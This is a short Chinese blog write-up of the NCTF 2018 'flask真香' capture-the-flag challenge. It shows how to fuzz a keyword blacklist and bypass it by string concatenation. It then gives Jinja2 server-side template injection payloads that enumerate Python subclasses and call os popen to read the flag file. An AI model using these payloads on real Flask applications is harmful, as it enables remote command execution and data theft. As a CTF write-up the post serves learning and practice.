[NCTF 2018]flask真香

进入题目换一页

bl0ck

先随便才一个参数

bl0ck

bl0ck

在flask里面可以有两种船只的方式,一种是需要参数的,另一种则不需要,这道题是第二种。

bp抓包fuzz一下,过滤了这些东西

bl0ck

这个过滤其实并不算很严格,用最简单的拼接就可以绕过了。

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}

查找os._wrap_close,其他模块也可以,这个模块比较常用。

一个不需要写脚本就可以知道os.wrap.close是第几个的小技巧

找到这模块之后,选择前面一个的 >(大于号) ,然后ctrl+F 输入>回车

bl0ck

得到位置179。

完整的payload:

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[179].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}
posted @ 2023-08-01 00:37  bl0ck  阅读(207)  评论(0)    收藏  举报